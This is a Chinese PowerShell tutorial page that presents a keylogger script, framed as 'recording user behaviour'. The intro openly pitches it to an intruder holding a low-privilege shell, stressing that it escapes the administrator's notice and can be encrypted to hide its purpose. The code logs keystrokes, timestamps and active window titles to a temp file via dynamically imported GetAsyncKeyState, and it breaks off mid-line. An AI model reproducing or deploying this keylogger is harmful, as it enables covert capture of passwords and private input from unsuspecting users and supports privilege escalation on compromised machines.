• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • vbs
  • DOS/BAT
  • hta/htc
  • python
  • perl
  • VBA
  • ColdFusion
  • ruby
  • PowerShell
  • Lua
  • Golang
  • linux shell
您的位置:首页 > 脚本语言 >PowerShell > PowerShell小技巧之定时记录操作系统行为

PowerShell小技巧之定时记录操作系统行为

作者:hebedich 字体:[增加 减小] 来源:互联网

hebedich 通过本文主要向大家介绍了powershell,windows powershell,powershell是什么,powershell下载,powershell怎么打开等相关知识,希望对您有所帮助,也希望大家支持linkedu.com www.linkedu.com

作为系统管理员,有些时候是需要记录系统中的其他用户的一些操作行为的,例如:当系统管理员怀疑系统存在漏洞,且已经有被植入后门或者创建隐藏账户时,就需要对曾经登陆的用户进行监控,保存其打开或者操作过的文件。或者在另外一个场景,当黑客拿下一个普通权限的shell之后,想看看最近有哪些用户登陆过,操作过什么,以便根据用户习惯采取进一步行动获取更高权限,这个时候记录用户行为就显得很重要了。

      可能有读者觉得此时安装个监控软件不就行了么,拜托,你入侵别人的系统,你装个监控软件,你把管理员试做无物么?这个时候PowerShell这个vista及其之后Windows操作系统都自带的强大的命令行就有了用处,系统自带,不会被管理员发现异常,脚本不用编译,如果脚本内容再加个密,他们更猜不出是干什么用的,嘿嘿。如果要记录几个特性用于记录啥时候干了什么,无非要记录的有几样内容:操作,哪个文件或程序,时间。有这几个特点就基本上可以掌握用户的操作习惯了。
 
      代码不算太难就不逐句解释了,有啥问题的读者可以给我留言询问,基本上关键语句都有注释的。代码如下:

 =====文件名:Get-TimedOperationRecord.ps1=====
function Get-TimedOperationRecord {
<#
    Author:fuhj(powershell#live.cn ,http://fuhaijun.com)
 Logs keys pressed, time and the active window.
.Parameter LogPath
    Specifies the path where pressed key details will be logged. By default, keystroke are logged to '$($Env:TEMP)\key.log'.
.Parameter CollectionInterval
    Specifies the interval in minutes to capture keystrokes. By default keystroke are captured indefinitely.
.Example
    Get-TimedOperationRecord -LogPath C:\key.log
.Example
    Get-TimedOperationRecord -CollectionInterval 20
#>
    [CmdletBinding()] Param (
        [Parameter(Position = 0)]
        [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})]
        [String]
        $LogPath = "$($Env:TEMP)\key.log",

        [Parameter(Position = 1)]
        [UInt32]
        $CollectionInterval
    )

    $LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)

    Write-Verbose "Logging keystrokes to $LogPath"

    $Initilizer = {
        $LogPath = 'REPLACEME'

        '"TypedKey","Time","WindowTitle"' | Out-File -FilePath $LogPath -Encoding unicode

        function KeyLog {
            [Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null

            try
            {
                $ImportDll = [User32]
            }
            catch
            {
                $DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib')
                $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
                $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False)
                $TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class')

                $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
                $FieldArray = [Reflection.FieldInfo[]] @(
                    [Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('CharSet')
                )

                $PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys]))
                $FieldValueArray = [Object[]] @(
                    'GetAsyncKeyState',
                    $True,
                    $False,
                    $True,
                    [Runtime.InteropServices.CallingConvention]::Winapi,
                    [Runtime.InteropServices.CharSet]::Auto
                )
                $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
                $PInvokeMethod.SetCustomAttribute($CustomAttribute)

                $PInvokeMethod = $TypeBuilder.DefineMethod

您可能想查找下面的文章:

  • PowerShell使用match操作符来筛选数组
  • PowerShell连接SQL SERVER数据库进行操作的实现代码
  • powershell远程管理服务器磁盘空间的实现代码
  • Powershell 之批量获取文件大小的实现代码
  • 用PowerShell删除N天前或指定日期(前后)创建(或修改)的文件
  • PowerShell因为在此系统中禁止执行脚本的解决方法
  • Powershell 查询 Windows 日志的方法
  • Powershell 查找用户的主SMTP地址
  • powershell解决win10开始菜单和通知中心无法打开
  • Powershell 获取特定的网页信息的代码

相关文章

  • Windows Azure VM上配置FTP服务器
  • Powershell小技巧之删除不规则字符
  • 浅谈CMD和win powershell的区别
  • PowerShell中运行CMD命令的技巧总结(解决名称冲突和特殊字符等问题)
  • PowerShell中获取当前运行脚本路径的方法
  • Powershell小技巧之获取注册表值的类型
  • 探索PowerShell(六) 脚本基础简要
  • Powershell使用C#实现缩写路径
  • 探索PowerShell(五) PowerShell基础知识
  • Windows Powershell 进行数学运算

文章分类

  • vbs
  • DOS/BAT
  • hta/htc
  • python
  • perl
  • VBA
  • ColdFusion
  • ruby
  • PowerShell
  • Lua
  • Golang
  • linux shell

最近更新的内容

    • PowerShell中文件对象的属性方法总结
    • 探索PowerShell(六) 脚本基础简要
    • PowerShell脚本写的文件.ps1文件介绍
    • PowerShell中执行Javascript的方法示例
    • PowerShell中使用.NET将程序集加入全局程序集缓存
    • Windows Powershell强类型数组
    • Powershell小技巧之查询AD用户
    • Powershell小技巧之找出脚本中的错误
    • PowerShell脚本实现检测网络内主机类型
    • PowerShell入门教程之PowerShell有什么用?

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有